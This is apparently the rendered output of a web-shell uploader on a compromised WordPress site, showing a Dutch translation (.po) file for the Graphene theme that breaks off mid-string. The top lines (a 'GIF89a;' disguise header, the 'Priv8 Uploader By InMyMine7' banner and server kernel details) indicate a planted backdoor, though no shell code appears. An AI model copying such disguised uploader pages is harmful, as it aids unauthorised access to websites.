GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3
Priv8 Uploader By InMyMine7
Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
msgid "" msgstr "" "Project-Id-Version: Graphene 1.0 theme for WordPress\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2012-01-21 21:34+1200\n" "PO-Revision-Date: 2012-01-21 23:53+0100\n" "Last-Translator: Jeffrey Tummers <info@thumnet.com>\n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Poedit-Language: Dutch\n" "X-Poedit-Country: NETHERLANDS\n" "X-Poedit-SourceCharset: utf-8\n" "X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2\n" "X-Poedit-Basepath: D:/MyVault/MyProjects/Websites/theme-graphene/site/wp-content/themes/graphene/\n" "X-Textdomain-Support: yes\n" "X-Poedit-SearchPath-0: .\n" # @ graphene #: 404.php:25 #, php-format msgid "Searching for: <span>%s</span>" msgstr "Zoeken naar: <span>%s</span>" # @ graphene #: 404.php:31 msgid "Error 404 - Page Not Found" msgstr "Error 404 - Pagina niet gevonden" # @ graphene #: 404.php:33 msgid "Sorry, I've looked everywhere but I can't find the page you're looking for." msgstr "Sorry, ik heb overal gezocht maar kan de pagina niet vinden" # @ graphene #: 404.php:34 msgid "If you follow the link from another website, I may have removed or renamed the page some time ago. You may want to try searching for the page:" msgstr "Ben je doorgelinkt vanuit een andere website of misschien heb ik de pagina enige tijd geleden verwijderd of hernoemd. Misschien wil je proberen te zoeken naar de pagina:" # @ graphene #: 404.php:42 msgid "Automated search" msgstr "Geautomatiseerd zoeken" # @ graphene #: 404.php:45 #, php-format msgid "Searching for the terms <strong>%s</strong> ..." msgstr "Zoeken naar de termen <strong>%s</strong> ..." # @ graphene #: archive.php:24 #, php-format msgid "Daily Archive: %s" msgstr "Dag archief: %s" # @ graphene #: archive.php:26 #, php-format msgid "Monthly Archive: %s" msgstr "Maand archief: %s" # @ graphene #. translators: F will be replaced with month, and Y will be replaced with year, so "F Y" in English would be replaced with something like "June 2008". #: archive.php:28 msgid "F Y" msgstr "F Y" # @ graphene #: archive.php:30 #, php-format msgid "Yearly Archive: %s" msgstr "Jaar archief: %s" # @ graphene #: archive.php:40 #, php-format msgid "%1$s Archive: <span>%2$s</span>" msgstr "%1$s archief: <span>%2$s</span>" # @ graphene #: archive.php:43 msgid "Blog Archive" msgstr "Blog archief" # @ graphene #: author.php:32 msgid "Author's posts listings" msgstr "Berichten van deze auteur" # @ graphene #: category.php:13 #, php-format msgid "Category Archive: <span>%s</span>" msgstr "Categorie archief: <span>%s</span>" # @ graphene #: comments.php:25 msgid "This post is password protected. Enter the password to view any comments." msgstr "Dit bericht is beveiligd met een wachtwoord. Voer het wachtwoord in om reacties te bekijken." # @ graphene #: comments.php:49 #: loop-author.php:85 #: loop.php:166 #, php-format msgid "1 comment" msgid_plural "%d comments" msgstr[0] "1 reactie" msgstr[1] "%d reacties" # @ graphene #: comments.php:51 #, php-format msgid "1 ping" msgid_plural "%d pings" msgstr[0] "1 ping" msgstr[1] "%d pings" # @ graphene #: comments.php:109 msgid "Comments have been disabled." msgstr "Reacties zijn uitgeschakeld." # @ graphene #: comments.php:126 #, php-format msgid "You may use these <abbr title=\"HyperText Markup Language\">HTML</abbr> tags and attributes: %s" msgstr "Je mag deze <abbr title=\"HyperText Markup Language\">HTML</ abbr>-tags en attributen gebruiken: %s" # @ graphene #: comments.php:131 msgid "Your email address will not be published." msgstr "Uw email adres zal niet worden gepubliseerd." # @ graphene #: comments.php:134 msgid "Submit Comment" msgstr "Reactie versturen" # @ graphene #: footer.php:41 msgid "Copyright" msgstr "Copyright" # @ graphene #. translators: %s will replaced by a link to the Creative Commons licence page, with "Creative Commons Licence" as the link text. #: footer.php:56 #, php-format msgid "Except where otherwise noted, content on this site is licensed under a %s." msgstr "Tenzij anders vermeld, valt de inhoud van deze site onder de %s." # @ graphene #: footer.php:56 msgid "Creative Commons Licence" msgstr "Creative Commons Licence" # @ graphene #: footer.php:58 msgid "Creative Commons Licence BY-NC-ND" msgstr "Creative Commons Licence BY-NC-ND" # @ graphene #: footer.php:79 msgid "Return to top" msgstr "Terug naar boven" # @ graphene #. translators: %1$s is the link to WordPress.org, %2$s is the theme's name #: footer.php:89 #, php-format msgid "Powered by %1$s and the %2$s." msgstr "Powered by %1$ s en het %2$s." # @ graphene #: footer.php:89 msgid "Graphene Theme" msgstr "Graphene thema" # @ graphene #: header.php:36 #, php-format msgid "Subscribe to %s's RSS feed" msgstr "Abboneer op de RSS-feed van %s" # @ graphene #: header.php:36 msgid "Subscribe to RSS feed" msgstr "Abboneren op de RSS-feed" # @ graphene #: header.php:82 #: header.php:102 msgid "Go back to the front page" msgstr "Ga terug naar de startpagina" # @ graphene #: loop-author.php:23 msgid "Author's details" msgstr "Auteur details" # @ graphene #. translators: %1$s is the first name, %2$s is the last name #: loop-author.php:25 #, php-format msgid "<strong>Name:</strong> %1$s %2$s" msgstr "<strong>Naam:</strong> %1$s %2$s" # @ graphene #: loop-author.php:26 #, php-format msgid "<strong>Date registered:</strong> %1$s" msgstr "<strong>Datum geregistreerd:</strong> %1$s" # @ graphene #: loop-author.php:35 msgid "Biography" msgstr "Biografie" # @ graphene #: loop-author.php:52 msgid "Latest posts" msgstr "Laatste berichten" # @ graphene #: loop-author.php:55 #: loop-author.php:85 #, php-format msgid "Permalink Link to %s" msgstr "Permanente koppeling naar %s" # @ graphene #: loop-author.php:55 #: loop-author.php:85 #: loop-children.php:45 #: loop-page.php:8 #: loop-page.php:35 #: loop-post-formats.php:36 #: loop-single.php:67 #: loop.php:31 #: loop.php:66 msgid "(No title)" msgstr "(Geen titel)" # @ graphene #: loop-author.php:92 msgid "Most commented posts" msgstr "Berichten met de meeste reacties" # @ graphene #: loop-children.php:45 #: loop-children.php:53 #: loop-post-formats.php:36 #: loop.php:65 #: loop.php:134 #, php-format msgid "Permalink to %s" msgstr "Permanente koppeling naar %s" # @ graphene #: loop-children.php:53 msgid "View page »" msgstr "Bekijk pagina »" # @ graphene #: loop-not-found.php:3 msgid "Not found" msgstr "Niet gevonden" # @ graphene #: loop-not-found.php:8 msgid "Sorry, but you are looking for something that isn't here. Wanna try a search?" msgstr "Sorry, maar je bent op zoek naar iets dat hier niet is. Wil je een zoekopdracht proberen?" # @ graphene #: loop-not-found.php:10 msgid "Sorry, but no results were found for that keyword. Wanna try an alternative keyword search?" msgstr "Sorry, er werden geen resultaten gevonden voor het zoekwoord. Wil je een alternatief zoek- en of trefwoord proberen?" # @ graphene #: loop-page.php:23 #: loop-page.php:24 #, php-format msgid "Print this %s" msgstr "%s afdrukken" # @ graphene #: loop-page.php:45 #: loop-single.php:83 #: loop.php:85 #, php-format msgid "Edit %s" msgstr "%s bewerken" # @ graphene #: loop-page.php:66 #: loop-single.php:122 #: loop.php:148 msgid "Pages:" msgstr "Paginas:" # @ graphene #: loop-page.php:90 #: loop-post-formats.php:89 #: loop-single.php:172 #: loop.php:179 msgid "Permanent link to this article:" msgstr "Permanente koppeling naar dit artikel:" # @ graphene #: loop-post-formats.php:15 msgid "Status update" msgstr "Status update" # @ graphene #: loop-post-formats.php:16 msgid "Audio" msgstr "Geluid" # @ graphene #: loop-post-formats.php:17 msgid "Image" msgstr "Afbeelding" # @ graphene #: loop-post-formats.php:18 msgid "Video" msgstr "Video" # @ graphene #: loop-post-formats.php:19 msgid "Post format" msgstr "Bericht formaat" # @ graphene #. translators: This is the PHP date formatting string for the status post format. See http://php.net/manual/en/function.date.php for more details. #: loop-post-formats.php:32 msgid "l F j, Y" msgstr "l F j, Y" # @ graphene #: loop-post-formats.php:32 msgid "g:i A" msgstr "g:i A" # @ graphene #: loop-post-formats.php:42 msgid "Edit post" msgstr "Bericht bewerken" # @ graphene #. translators: This is the PHP date formatting string for the image post format. See http://php.net/manual/en/function.date.php for more details. #: loop-post-formats.php:77 #, php-format msgid "Posted on: %s" msgstr "Geplaatst op: %s" # @ graphene #: loop-post-formats.php:77 msgid "F j, Y" msgstr "F j, Y" # @ graphene #: loop-single.php:76 #: loop.php:78 msgid "Categories:" msgstr "Categoriën:" # @ graphene #: loop-single.php:98 #: loop.php:102 #, php-format msgid "by %s" msgstr "door %s" # @ graphene #: loop-single.php:132 #: loop.php:158 msgid "Tags:" msgstr "Tags:" # @ graphene #: loop-single.php:132 #: loop.php:158 msgid "This post has no tag" msgstr "Dit bericht heeft geen tag" # @ graphene #: loop-single.php:153 msgid "About the author" msgstr "Over de auteur" # @ graphene #: loop.php:127 msgid "Read the rest of this entry »" msgstr "Lees verder »" # @ graphene #: loop.php:166 msgid "Leave comment" msgstr "Reactie achterlaten" # @ graphene #: loop.php:166 msgid "Comments off" msgstr "Reacties uitgeschakeld" # @ graphene #: search-404.php:14 msgid "Suggested results" msgstr "Voorgestelde resultate" # @ graphene #. translators: %s is the search term #: search-404.php:18 #, php-format msgid "I've done a courtesy search for the term %s for you. See if you can find what you're looking for in the list below:" msgstr "Ik heb een zoekopdracht uitgevoerd op de term %s. Kijk of je kunt vinden wat je zoekt in de lijst hieronder:" # @ graphene #: search-404.php:35 msgid "<strong>Sorry, couldn't find anything.</strong> Try searching for alternative terms using the search form above." msgstr "<strong>Sorry, kon niets vinden.</strong> Probeer te zoeken naar alternatieve termen met behulp van het bovenstaande zoekformulier." # @ graphene #: search.php:10 #, php-format msgid "Search results for: %s" msgstr "Zoekresultaten voor: %s" # @ graphene #: searchform.php:3 #: searchform.php:4 msgid "Search" msgstr "Zoeken" # @ graphene #: sidebar-two.php:35 #: sidebar.php:41 msgid "Meta" msgstr "Meta" # @ graphene #: sidebar-two.php:40 #: sidebar.php:46 msgid "Posts RSS" msgstr "Berichten RSS" # @ graphene #: sidebar-two.php:41 #: sidebar.php:47 msgid "Comments RSS" msgstr "Reacties RSS" # @ graphene #. translators: %s is the link to wordpress.org #: sidebar-two.php:43 #: sidebar.php:49 #, php-format msgid "Powered by %s" msgstr "Aangedreven door %s" # @ graphene #: sidebar-two.php:43 #: sidebar.php:49 msgid "Powered by WordPress, state-of-the-art semantic personal publishing platform." msgstr "Aangedreven door WordPress, state-of-the-art semantisch persoonlijk publicatie platform." # @ graphene #: sidebar-two.php:48 #: sidebar.php:34 msgid "Archives" msgstr "Archief" # @ graphene #: tag.php:13 #, php-format msgid "Tag Archive: <span>%s</span>" msgstr "Tag archief: <span>%s</span>" # @ graphene #: admin/custom-fields.php:14 msgid "Graphene post-specific options" msgstr "Graphene post-specifieke opties" # @ graphene #: admin/custom-fields.php:15 msgid "Graphene page-specific options" msgstr "Graphene pagina-specifieke opties" # @ graphene #: admin/custom-fields.php:97 msgid "These settings will only be applied to this particular post or page you're editing. They will override the global settings set in the Graphene Options or Graphene Display options page." msgstr "Deze instellingen worden alleen toegepast op deze specifieke pagina of het bericht dat je aan het bewerken bent. Hierdoor worden de globale instellingen uit de Graphene opties en Graghene weergave pagina's overschreven." # @ graphene #: admin/custom-fields.php:98 msgid "Slider options" msgstr "Slider opties" # @ graphene #: admin/custom-fields.php:102 msgid "Slider image" msgstr "Slider afbeelding" # @ graphene #: admin/custom-fields.php:106 #: admin/custom-fields.php:132 #: admin/custom-fields.php:146 msgid "Use global setting" msgstr "Gebruik de globale instelling" # @ graphene #: admin/custom-fields.php:107 msgid "Don't show image" msgstr "Afbeelding niet weergeven" # @ graphene #: admin/custom-fields.php:108 msgid "Featured Image" msgstr "Aanbevolen afbeelding" # @ graphene #: admin/custom-fields.php:109 msgid "First image in post" msgstr "Eerste afbeelding in het bericht" # @ graphene #: admin/custom-fields.php:110 msgid "Custom URL" msgstr "Aangepaste URL" # @ graphene #: admin/custom-fields.php:116 msgid "Custom slider image URL" msgstr "Eigen slider afbeelding (URL)" # @ graphene #: admin/custom-fields.php:120 msgid "Make sure you select Custom URL in the slider image option above to use this custom url." msgstr "Zorg ervoor dat bij de instelling Slider afbeelding hierboven gekozen is voor Aangepaste URL." # @ graphene #: admin/custom-fields.php:124 msgid "Display options" msgstr "Weergave instellingen" # @ graphene #: admin/custom-fields.php:128 msgid "AddThis Social Sharing button" msgstr "AddThis Social Sharing knop" # @ graphene #: admin/custom-fields.php:133 msgid "Show button" msgstr "Knop tonen" # @ graphene #: admin/custom-fields.php:134 msgid "Hide button" msgstr "Knop verbergen" # @ graphene #: admin/custom-fields.php:142 msgid "Post date display" msgstr "Bericht datum weergave" # @ graphene #: admin/custom-fields.php:147 msgid "Hide date" msgstr "Datum verbergen" # @ graphene #: admin/custom-fields.php:155 msgid "Navigation options" msgstr "Navigatie instellingen" # @ graphene #: admin/custom-fields.php:159 msgid "Description" msgstr "Beschrijving" # @ graphene #: admin/custom-fields.php:163 msgid "Only required if you need a description in the navigation menu and you are not using a custom menu." msgstr "Alleen nodig als je een beschrijving in het navigatie-menu wilt tonen en wanneer je geen gebruik maakt van een aangepast menu." # @ graphene #: admin/faq.php:11 msgid "Graphene's Frequently Asked Questions" msgstr "Graphene veelgestelde vragen" # @ graphene #: admin/faq.php:14 msgid "Where should I go for the theme's support?" msgstr "Waar kan ik terecht voor ondersteuning van dit thema?" # @ graphene #: admin/faq.php:15 msgid "Please direct all support requests for the theme at the theme's <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\">Support Forum</a>." msgstr "Gelieve alle vragen ten behoeve van ondersteuning voor het thema op het <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\"> Support Forum</a> te stellen" # @ graphene #: admin/faq.php:18 msgid "The post's featured image is replacing my header image. Help!" msgstr "Help! De aanbevolen afbeelding vervangt mijn hoofdafbeelding." # @ graphene #: admin/faq.php:19 msgid "This is actually one of the theme's features, based on the feature in the default TwentyTen theme. Any featured image that has a size of greater than or equal to the theme's header image size (960 x 198 pixels) will replace the header image when the post/page that featured image is assigned to is being displayed. It enables you to have different header image for different posts and/or pages." msgstr "Dit is een optie van het thema, gebaseerd op de optie van het standaard TwentyTen thema. Hierdoor wordt de hoofdafbeeling vervangen door de aanbevolgen afbeelding van een bericht of pagina. Dit gebeurt alleen als de afmetingen groter of gelijk zijn aan die van de hoofdafbeelding van het thema (960 x 198 pixels). Hiermee heb je de mogelijkheid een andere hoofdafbeelding te hebben voor verschillende berichten en/of pagina's." # @ graphene #: admin/faq.php:20 msgid "If you want to disable this feature, simply tick the <em>Disable Featured Image replacing header image</em> option in the <a href=\"themes.php?page=graphene_options&tab=display\">Graphene Options</a> page, under Display > Header Display Options." msgstr "Als je deze functie wilt uitschakelen, selecter dan de <em>Uitschakelen vervanging aanbevolen afbeelding door hoofd afbeelding</em>optie in de <a href=\"themes.php?page=graphene_options&tab=display\">Graphene opties</a> pagina onder Weergave > Hoofd weergave opties." # @ graphene #: admin/faq.php:23 msgid "Can I modify Graphene to my heart's content without paying anything?" msgstr "Kan ik het Graphene thema naar hartenwens aanpassen zonder ervoor te hoeven betalen?" # @ graphene #: admin/faq.php:24 msgid "The Graphene WordPress theme, along with all the other themes in the WordPress.org Official Free Themes Directory, is released under the GNU General Public License (GPL) Version 2. The full text of that licence is included with the theme in the <code>licence.txt</code> file in the theme's folder. Releasing the theme under that licence means, among others, that you are <em>free to modify the theme in any way for any purpose (including commercial)</em> without any obligation to the theme's author. However, if you decide to redistribute the theme, the licence dictates that you must release the theme under the same licence, GPLv2." msgstr "Het Graphene Wordpress thema, samen met alle andere thema's in de Wordpress.org Official Free Themes Directory, is vrijgegeven onder de GNU General Public License (GPL) versie 2. De volledige tekst van deze licentie is opgenomen bij het thema in het <code> licence.txt </code>-bestand in de map van het thema. Het vrijgeven van het thema onder die licentie betekent, onder anderen, dat je <em> vrij bent om het thema te wijzigen op enigerlei wijze voor welk doel dan ook (inclusief commerciële) </em>, zonder enige verplichting aan de auteur van het thema. Echter, als je besluit om het thema te herverdelen, dan dien je het thema vrij te geven onder dezelfde licentie, GPLv2, zoals de licentie voorschrijft." # @ graphene #: admin/faq.php:25 msgid "But of course, the author would always appreciate <a href=\"themes.php?page=graphene_options\">donations</a> to support ongoing and future developments of the theme." msgstr "Natuurlijk waardeert de auteur <a href=\"themes.php?page=graphene_options\">donaties</a> ter ondersteuning van lopende en toekomstige ontwikkelingen van het thema." # @ graphene #: admin/faq.php:28 msgid "If the theme is released under GPLv2, what is this Creative Commons licence in the theme's footer?" msgstr "Indien het thema is vrijgegeven onder de GPLv2, wat betekent deze Creative Commons licentie in de voettekst van het thema?" # @ graphene #: admin/faq.php:29 msgid "The Creative Commons licence is a popular licence nowadays that are used by a lot of web-based content authors to licence their work such that it protects their intellectual property but in the same time allows its free distribution. It is included with the theme simply to make it easy for the theme's users to make use of the licence for the content they publish. Theme users can remove it altogether via the theme's Options page should they wish not to use it." msgstr "De Creative Commons-licentie is tegenwoordig een populaire licentie die wordt gebruikt door een groot aantal web-based content-auteurs om hun werk als hun intellectuele eigendom te beschermen, maar tegelijkertijd het toestaan van vrije distributie. Het is opgenomen bij het thema om het eenvoudig te maken voor de thema gebruikers om het gebruik van de vergunning te gebruiken voor de inhoud die ze publiceren. Thema-gebruikers kunnen het volledig uitschakelen via de thema instellingen pagina mochten ze het niet willen gebruiken." # @ graphene #: admin/faq.php:30 msgid "Put simply, <em>it is not the licence that is applied for the theme itself</em>, but just for the website's content should the theme user wants to use it." msgstr "Eenvoudig gezegd, <em>de licentie is niet toegepast op het thema</em>, maar alleen op de content van de website als de thema gebruiker hiervan gebruik wil maken." # @ graphene #: admin/faq.php:33 msgid "Is the theme compatible with this plugin or that plugin?" msgstr "Is dit thema compatibel met deze of deze plugin?" # @ graphene #: admin/faq.php:34 msgid "I don't know. With so many plugins available for WordPress, there's no way that I (or anybody else for that matter) can test for compatibility for all of them. Having said that, the theme is built with all the necessary WordPress components included with it, so chances are most plugins will be compatible with the theme." msgstr "Ik weet het niet. Omdat er zoveel plugins beschikbaar zijn voor Wordpress kan ik (of niemand anders) de compatibiliteit van ze allemaal testen. Dat gezegd te hebben, het thema is opgebouwd met alle verplichte Wordpress componenten, daardoor is de kans groot dat de meeste plugins compatibel zijn met het thema." # @ graphene #: admin/faq.php:35 msgid "My suggestion is to just install the plugin and try it. If you stumble into problem, ask for support from the plugin author first. If the plugin author says that it's a problems with the theme, you know where to find support." msgstr "Mijn aanbeveling is om de plugin gewoon te installeren en uit te proberen. Als je tegen een probleem aanloopt, vraag dan eerst hulp bij de auteur van de plugin. Als de auteur van de plugin zegt dat het probleem zit bij het thema dan weet je me te vinden." # @ graphene #: admin/feature-pointers.php:8 msgid "Where are all the options?!" msgstr "Waar zijn alle opties?!" # @ graphene #: admin/feature-pointers.php:9 msgid "We've decided to clean things up!" msgstr "We hebben besloten opruiming te houden!" # @ graphene #: admin/feature-pointers.php:10 msgid "We know how too many options can really be daunting to new users, so we've hidden them." msgstr "We weten dat teveel opties ontmoedigend kan zijn voor nieuwe gebruikers, dus hebben we ze verborgen." # @ graphene #: admin/feature-pointers.php:11 msgid "But no worries! If you're a seasoned user of the Graphene theme, or whenever you feel ready to further customise your site, just click on the \"Show all options\" link, and they will magically appear to you." msgstr "Geen zorgen! Als je een doorgewinterde gebruiker van het Graphene thema bent, of wanneer je ervoor klaar bent om je site verder aan te passen, klik dan op de \"Toon alle opties\" link, en ze verschijnen weer vanzelf." # @ graphene #: admin/options-advanced.php:12 #: admin/options.php:350 msgid "Preview" msgstr "Voorbeeld" # @ graphene #: admin/options-advanced.php:19 msgid "Enable preview of your site on the Graphene Theme Options page" msgstr "Voorbeeld weergave inschakelen op de Graphene Theme optie pagina's" # @ graphene #: admin/options-advanced.php:31 msgid "Action Hooks Widget Areas" msgstr "Action hooks widget gebieden" # @ graphene #: admin/options-advanced.php:34 msgid "This option enables you to place virtually any content to every nook and cranny in the theme, by attaching widget areas to the theme's action hooks." msgstr "Met deze instelling wordt het mogelijk om vrijwel op elke plek in het theme content toe te voegen, dit kan door de widget gebieden te koppelen aan de action hooks van het thema." # @ graphene #: admin/options-advanced.php:35 msgid "All action hooks available in the Graphene Theme are listed below. Click on the filename to display all the action hooks available in that file. Then, tick the checkbox next to an action hook to make a widget area available for that action hook." msgstr "Alle beschikbare action hooks van het Graphene thema staan in onderstaande lijst. Klik op de bestandsnaam om alle action hooks uit het bestand te tonen. Daarna kan je middels de checkbox naast de action hook een widget gebied beschikbaar maken voor de geselecteerde action hook." # @ graphene #: admin/options-advanced.php:44 msgid "Click to show/hide the action hooks for this file" msgstr "Klik om de action hooks voor dit bestand te tonen/verbergen" # @ graphene #: admin/options-advanced.php:56 msgid "Rescan action hooks" msgstr "Opnieuw zoeken naar action hooks" # @ graphene #: admin/options-display.php:13 msgid "Header Display Options" msgstr "Hoofd weergave opties" # @ graphene #: admin/options-display.php:19 msgid "Use light-coloured header bars" msgstr "Gebruik licht-gekleurde hoofd balken" # @ graphene #: admin/options-display.php:25 msgid "Link header image to front page" msgstr "Hoofd afbeelding aan startpagina koppelen" # @ graphene #: admin/options-display.php:28 msgid "Check this if you disable the header texts and want the header image to be linked to the front page." msgstr "Vink deze optie aan om de hoofd tekst uit te schakelen en om de hoofd afbeelding aan de startpagina te koppelen." # @ graphene #: admin/options-display.php:33 msgid "Disable Featured Image replacing header image" msgstr "Vervanging aanbevolen afbeelding door hoofd afbeelding uitschakelen" # @ graphene #: admin/options-display.php:36 msgid "Check this to prevent the posts Featured Image replacing the header image regardless of the featured image dimension." msgstr "Vink deze optie aan om te voorkomen dat de aanbevolen afbeelding de hoofdafbeelding vervangt (ongeacht de afmetingen van de aanbevolen afbeelding)." # @ graphene #: admin/options-display.php:41 msgid "Use random header image" msgstr "Gebruik een willekeurige hoofd afbeelding" # @ graphene #: admin/options-display.php:45 msgid "Check this to show a random header image (random image taken from the available default header images)." msgstr "Vink deze optie aan om een willekeurige afbeelding te gebruiken als hoofdafbeelding (deze afbeelding wordt geselecteerd uit de beschikbare standaard afbeeldingen)" # @ graphene #: admin/options-display.php:46 msgid "<strong>Note:</strong> only works on pages where a specific header image is not defined." msgstr "<strong>Opmerking:</strong> werkt alleen op pagina's waarvoor de specifieke hoofd afbeelding niet is ingesteld." # @ graphene #: admin/options-display.php:52 msgid "Search box location" msgstr "Lokatie van de zoek box" # @ graphene #: admin/options-display.php:56 msgid "Top bar" msgstr "Bovenste balk" # @ graphene #: admin/options-display.php:57 msgid "Navigation bar" msgstr "Navigatie balk" # @ graphene #: admin/options-display.php:58 msgid "Disable search box" msgstr "Zoekbox verbergen" # @ graphene #: admin/options-display.php:71 msgid "Column Options" msgstr "Kolom instellingen" # @ graphene #: admin/options-display.php:77 msgid "Column mode" msgstr "Kolom modus" # @ graphene #: admin/options-display.php:86 #: admin/options-display.php:131 msgid "One column" msgstr "Een kolom" # @ graphene #: admin/options-display.php:93 #: admin/options-display.php:138 msgid "Two columns (with sidebar right)" msgstr "Twee kolommen (met zijbalk rechts)" # @ graphene #: admin/options-display.php:97 #: admin/options-display.php:142 msgid "Two columns (with sidebar left)" msgstr "Twee kolommen (met zijbalk links)" # @ graphene #: admin/options-display.php:104 #: admin/options-display.php:149 msgid "Three columns (with two sidebars right)" msgstr "Drie kolommen (met 2 zijbalken rechts)" # @ graphene #: admin/options-display.php:108 #: admin/options-display.php:153 msgid "Three columns (with two sidebars left)" msgstr "Drie kolommen (met 2 zijbalken links)" # @ graphene #: admin/options-display.php:112 #: admin/options-display.php:157 msgid "Three columns (with sidebars left and right)" msgstr "Drie kolommen (met zijbalken links en rechts)" # @ graphene #: admin/options-display.php:122 msgid "bbPress column mode" msgstr "bbPress kolom instellingen" # @ graphene #: admin/options-display.php:173 msgid "Column Width Options" msgstr "Kolom breedte instellingen" # @ graphene #: admin/options-display.php:176 msgid "Note: Leave values empty to reset to the default values." msgstr "Let op: maak de waarden leeg om ze terug te zetten naar de standaardwaarden." # @ graphene #: admin/options-display.php:180 msgid "Container width" msgstr "Gehele breedte" # @ graphene #: admin/options-display.php:197 #: admin/options-display.php:220 msgid "Column width" msgstr "Kolom breedte" # @ graphene #: admin/options-display.php:197 msgid "two-column mode" msgstr "twee kolommen" # @ graphene #: admin/options-display.php:201 #: admin/options-display.php:228 msgid "Content" msgstr "Inhoud" # @ graphene #: admin/options-display.php:205 msgid "Sidebar" msgstr "Zijbalk" # @ graphene #: admin/options-display.php:220 msgid "three-column mode" msgstr "drie kolommen" # @ graphene #: admin/options-display.php:224 msgid "Left sidebar" msgstr "Linker zijbalk" # @ graphene #: admin/options-display.php:232 msgid "Right sidebar" msgstr "Rechter zijbalk" # @ graphene #: admin/options-display.php:253 msgid "Posts Display Options" msgstr "Bericht weergave instellingen" # @ graphene #: admin/options-display.php:259 msgid "Hide post author" msgstr "Bericht auteur verbergen" # @ graphene #: admin/options-display.php:269 msgid "Hidden" msgstr "Verborgen" # @ graphene #: admin/options-display.php:270 msgid "As an icon (without the year)" msgstr "Als afbeelding (zonder het jaar)" # @ graphene #: admin/options-display.php:271 msgid "As an icon (including the year)" msgstr "Als afbeelding (met het jaar)" # @ graphene #: admin/options-display.php:272 msgid "As inline text" msgstr "Als tekst" # @ graphene #: admin/options-display.php:274 msgid "Note: displaying date as inline text allows more space for the content area, especially useful for a three-column layout configuration." msgstr "Opmerking: datum weergave als tekst zorgt ervoor dat er meer ruimte voor het content gebied overblijft. Zeer geschikt voor de drie kolommen weergave in." # @ graphene #: admin/options-display.php:279 msgid "Hide post categories" msgstr "Bericht categoriën verbergen" # @ graphene #: admin/options-display.php:285 msgid "Hide post tags" msgstr "Bericht tags verbergen" # @ graphene #: admin/options-display.php:291 msgid "Hide post comment count" msgstr "Aantal reactie's verbergen" # @ graphene #: admin/options-display.php:292 msgid "Only affects posts listing (such as the front page) and not single post view." msgstr "Alleen van invloed op bericht lijsten (zoals op de startpagina) en niet bij de weergave van een enkel bericht." # @ graphene #: admin/options-display.php:297 msgid "Show post author's <a href=\"http://en.gravatar.com/\">gravatar</a>" msgstr "<a href=\"http://en.gravatar.com/\">Gravatar</a> van de auteur tonen" # @ graphene #: admin/options-display.php:301 msgid "Show post author's info" msgstr "Informatie van de auteur bij het bericht tonen" # @ graphene #: admin/options-display.php:313 msgid "Excerpts Display Options" msgstr "Samenvatting weergave instellingen" # @ graphene #: admin/options-display.php:319 msgid "Show excerpts in front page" msgstr "Samenvattingen op de startpagina tonen" # @ graphene #: admin/options-display.php:325 msgid "Show full content in archive pages" msgstr "Gehele inhoud in archief pagina's tonen" # @ graphene #: admin/options-display.php:329 msgid "Note: Archive pages include the archive for category, tags, time, and search results pages. Enabling this option will cause the full content of posts and pages listed in those archives to displayed instead of the excerpt, and truncated by the Read More tag if used." msgstr "Opmerking: Onder archief pagina's vallen: archief voor categoriën, tags, tijd en zoek resultaten pagina's. Door het inschakelen van deze functionaliteit wordt de volledige inhoud van deze archief pagina's getoond in plaats van de samenvatting en de 'Lees meer' link (als deze wordt gebruikt)." # @ graphene #: admin/options-display.php:333 msgid "Show More link for manual excerpts" msgstr "'Lees meer' link bij handmatige uitreksels tonen" # @ graphene #: admin/options-display.php:337 msgid "Retain these HTML tags in excerpts" msgstr "Behoud deze HTML tags in samenvattingen" # @ graphene #: admin/options-display.php:340 msgid "Enter the HTML tags you'd like to retain in excerpts. For example, enter <code><p><ul><li></code> to retain <code><p></code>, <code><ul></code>, and <code><li></code> HTML tags." msgstr "Voer de HTML tags in die je wilt behouden in de samenvatting. Bijvoorbeeld: <code><p><ul><li></code> om de HTML tags <code><p></code>, <code><ul></code>, en <code><li></code> te behouden." # @ graphene #: admin/options-display.php:353 msgid "Comments Display Options" msgstr "Reactie weergave instellingen" # @ graphene #: admin/options-display.php:359 msgid "Hide allowed tags in comment form" msgstr "Toegestane tags in het reactie formulier verbergen" # @ graphene #: admin/options-display.php:372 msgid "Colours Options" msgstr "Kleur instellingen" # @ graphene #: admin/options-display.php:375 msgid "Changing colours for your website involves a lot more than just trial and error. Simply mixing and matching colours without regard to their compatibility may do more damage than good to your site's aesthetics." msgstr "Het veranderen van de kleuren van uw website omvat veel meer dan alleen uitproberen. Simpelweg kleuren mengen en combineren zonder te letten op de verenigbaarheid kan meer schade aanrichten dan goed doen aan de esthetiek van uw site." # @ graphene #: admin/options-display.php:376 #, php-format msgid "It's generally a good idea to stick to colours from colour pallettes that are aesthetically pleasing. Try the %s website for a kickstart on some colour palettes you can use." msgstr "Het is over het algemeen een goed idee om kleuren te kiezen van een kleurenpaletten die esthetisch aangenaam zijn. De %s website biedt voorbeeld kleurenpaletten die je kunt gebruiken." # @ graphene #: admin/options-display.php:377 msgid "When you've got the perfect combination, you can even share it with fellow Graphene theme users through the <a href=\"http://forum.khairul-syahir.com/\">Support Forum</a>." msgstr "Wanneer je de perfecte combinatie hebt gevonden, kunt je deze delen met andere Graphene thema gebruikers door middel van het <a href=\"http://forum.khairul-syahir.com/\">Support Forum</a> ." # @ graphene #: admin/options-display.php:378 msgid "<strong>Note:</strong> The previews work best on modern Gecko- and Webkit-based browsers, such as Mozilla Firefox and Google Chrome." msgstr "<strong>Opmerking:</strong> De previews werken het beste op moderne Gecko-en de Webkit-gebaseerde browsers, zoals Mozilla Firefox en Google Chrome." # @ graphene #: admin/options-display.php:379 msgid "<strong>Note:</strong> To reset any of the colours to their default value, just click on \"Clear\" beside the colour field and save the settings. The theme will automatically revert the value to the default colour." msgstr "<strong>Opmerking:</strong> Om van een 